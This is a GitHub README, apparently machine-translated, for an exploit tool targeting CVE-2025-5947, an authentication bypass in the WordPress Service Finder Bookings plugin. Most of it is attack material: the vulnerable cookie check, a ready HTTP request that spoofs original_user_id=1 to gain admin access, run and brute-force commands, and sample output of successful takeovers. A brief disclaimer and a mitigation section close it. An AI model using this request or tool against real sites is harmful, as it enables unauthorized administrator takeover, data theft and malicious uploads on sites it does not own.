xxconi/CVE-2025-5947

GitHub: xxconi/CVE-2025-5947

针对 WordPress Service Finder Bookings 插件≤6.0 版本身份验证绕过漏洞(CVE-2025-5947)的自动化漏洞利用工具。

Stars: 0 | Forks: 0

# CVE-2025-5947 CVE-2025-5947 WordPress Service Finder Bookings ≤ 6.0 Exploit # CVE-2025-5947 Exploit - Service Finder Bookings ![许可证](https://img.shields.io/badge/license-MIT-blue.svg) ![Python](https://img.shields.io/badge/python-3.6%2B-blue) ![状态](https://img.shields.io/badge/status-Active-brightgreen) ![CVSS](https://img.shields.io/badge/CVSS-9.8%20Critical-red) ## 📋 目录 - [关于漏洞](#açık-hakkında) - [技术细节](#teknik-detaylar) - [安装说明](#kurulum) - [使用说明](#kullanım) - [示例](#örnekler) - [结果](#sonuçlar) - [安全](#güvenlik) - [资源](#kaynaklar) ## 🔴 关于漏洞 ### CVE-2025-5947 **Service Finder Bookings** WordPress 插件的 6.0 及更早版本中存在一个严重的身份验证绕过漏洞。 | 属性 | 值 | |---------|-------| | **CVE ID** | CVE-2025-5947 | | **插件** | Service Finder Bookings (sf-booking) | | **受影响版本** | ≤ 6.0 | | **严重程度** | 🔴 **严重** | | **CVSS 评分** | 9.8 | | **CWE** | CWE-639 (Authorization Bypass) | | **EPSS 评分** | 0.617 (98.357 百分位) | | **发布日期** | 2025 | ### 🎯 影响 未经身份验证的攻击者可以: - ✅ 以任何用户身份登录 - ✅ 获取管理员账户访问权限 - ✅ 获得完整的系统控制权 - ✅ 造成数据泄露 - ✅ 上传恶意代码 ## 🔍 技术细节 ### 漏洞起因 `service_finder_switch_back()` 函数中存在 **不充分的 cookie 验证**: ``` // Güvenli olmayan kod if(isset($_COOKIE['original_user_id'])) { $user_id = $_COOKIE['original_user_id']; wp_set_current_user($user_id); // Doğrulama yok! } ``` ### 攻击向量 ``` GET /wp-admin/admin-ajax.php?action=service_finder_switch_back HTTP/1.1 Host: target.com Cookie: original_user_id=1 ``` **攻击特征:** - 🌐 远程访问 (AV:N) - 🔓 无需身份验证 (PR:N) - 👤 无需用户交互 (UI:N) - 📊 完全影响 (C:H, I:H, A:H) ## 📦 安装说明 ### 前置条件 - Python 3.6+ - requests 库 ### 第一步:克隆 Repository ``` git clone https://github.com/xxconi/CVE-2025-5947.git cd CVE-2025-5947 ``` ### 第二步:安装依赖 ``` pip install -r requirements.txt ``` ### 第三步:运行 ``` python exploit.py -u http://target.com ``` ## 🚀 使用说明 ### 基本命令 ``` # 显示帮助 python exploit.py -h # 尝试以 Admin (ID=1) 身份登录 python exploit.py -u http://target.com # 使用特定用户 ID python exploit.py -u http://target.com -i 5 # Brute force (ID 1-10) python exploit.py -u http://target.com -b 1-10 # 不进行 SSL 验证 python exploit.py -u http://target.com --no-ssl-verify # 使用自定义 timeout python exploit.py -u http://target.com -t 30 ``` ### 参数 | 参数 | 简写 | 描述 | 默认值 | |-----------|----------|---------|-----------| | `--url` | `-u` | 目标 URL (必填) | - | | `--user-id` | `-i` | 用户 ID | 1 | | `--brute-force` | `-b` | Brute force 范围 (1-10) | - | | `--no-ssl-verify` | - | 禁用 SSL 验证 | False | | `--timeout` | `-t` | 请求 timeout (秒) | 10 | ## 💡 示例 ### 示例 1:简单的 Exploit ``` python exploit.py -u http://wordpress.local ``` **输出:** ``` ============================================================ CVE-2025-5947 Service Finder Bookings Exploit Authentication Bypass via Cookie Spoofing ============================================================ ✅ Service Finder Bookings eklentisi bulundu 🔍 Kullanıcı ID 1 ile giriş denemesi yapılıyor... 📊 HTTP Status: 302 📋 Response Headers: Location: http://wordpress.local/wp-admin/ Set-Cookie: wordpress_logged_in_abc123=... ✅ BAŞARILI! Admin olarak giriş yapıldı! 📍 Yönlendirme: http://wordpress.local/wp-admin/ ``` ### 示例 2:Brute Force ``` python exploit.py -u http://target.com -b 1-20 ``` **输出:** ``` 🔄 Brute Force Başlıyor (20 kullanıcı)... ✅ Kullanıcı ID 1: BAŞARILI ❌ Kullanıcı ID 2: Başarısız ✅ Kullanıcı ID 3: BAŞARILI ... ✅ Başarılı Kullanıcılar: [1, 3, 5] ``` ### 示例 3:不带 SSL 验证的 HTTPS ``` python exploit.py -u https://target.com --no-ssl-verify ``` ## 📊 结果 成功的 exploit 包含以下指标: ✅ HTTP 301 或 302 响应代码 ✅ `Location` header 中包含 `/wp-admin/` ✅ `Set-Cookie` header 中包含 `wordpress_logged_in_` ## 🛡️ 安全 ### ⚠️ 法律声明 **此工具仅用于:** - ✅ 授权的安全测试 - ✅ 您自己的系统 - ✅ 获得书面许可的情况下 **使用本工具。作者不承担任何责任。** ### 🔐 防护方法 1. **紧急更新** # 从 WordPress admin 面板更新 # 或使用 WP-CLI wp plugin update sf-booking 2. **禁用插件** wp plugin deactivate sf-booking 3. **删除插件** wp plugin delete sf-booking 4. **Web Application Firewall (WAF)** Block: /wp-admin/admin-ajax.php?action=service_finder_switch_back 5. **安全检查** - 检查 admin 账户 - 检查访问日志 - 调查未经授权的登录 ## 📚 资源 - [Patchstack 数据库](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-bookings-plugin-6-0-authentication-bypass-via-user-switch-cookie-vulnerability) - [GitHub Advisory](https://github.com/advisories/GHSA-x2xx-4qhp-2vqx) - [NVD 详情](https://nvd.nist.gov/vuln/detail/CVE-2025-5947) - [原始 Exploit](https://github.com/M4rgs/CVE-2025-5947_Exploit) - [CVSS 计算器](https://www.first.org/cvss/calculator/3.1) ## 🤝 贡献 如需报告错误或提出改进建议: 1. Fork 2. 创建 Feature branch (`git checkout -b feature/improvement`) 3. Commit (`git commit -am 'Add improvement'`) 4. Push (`git push origin feature/improvement`) 5. 提交 Pull Request ## 📄 许可证 MIT License - 详情请查看 [LICENSE](LICENSE) 文件 ## 👤 作者 **Security Researcher** - GitHub: [@yourusername](https://github.com/xxconi) ## 🙏 致谢 - Patchstack Security Team - WordPress Security Community - CVE Coordinators
⭐ 如果觉得有用,请点个 Star! [🔝 返回顶部](#cve-2025-5947-exploit---service-finder-bookings)
标签:逆向工具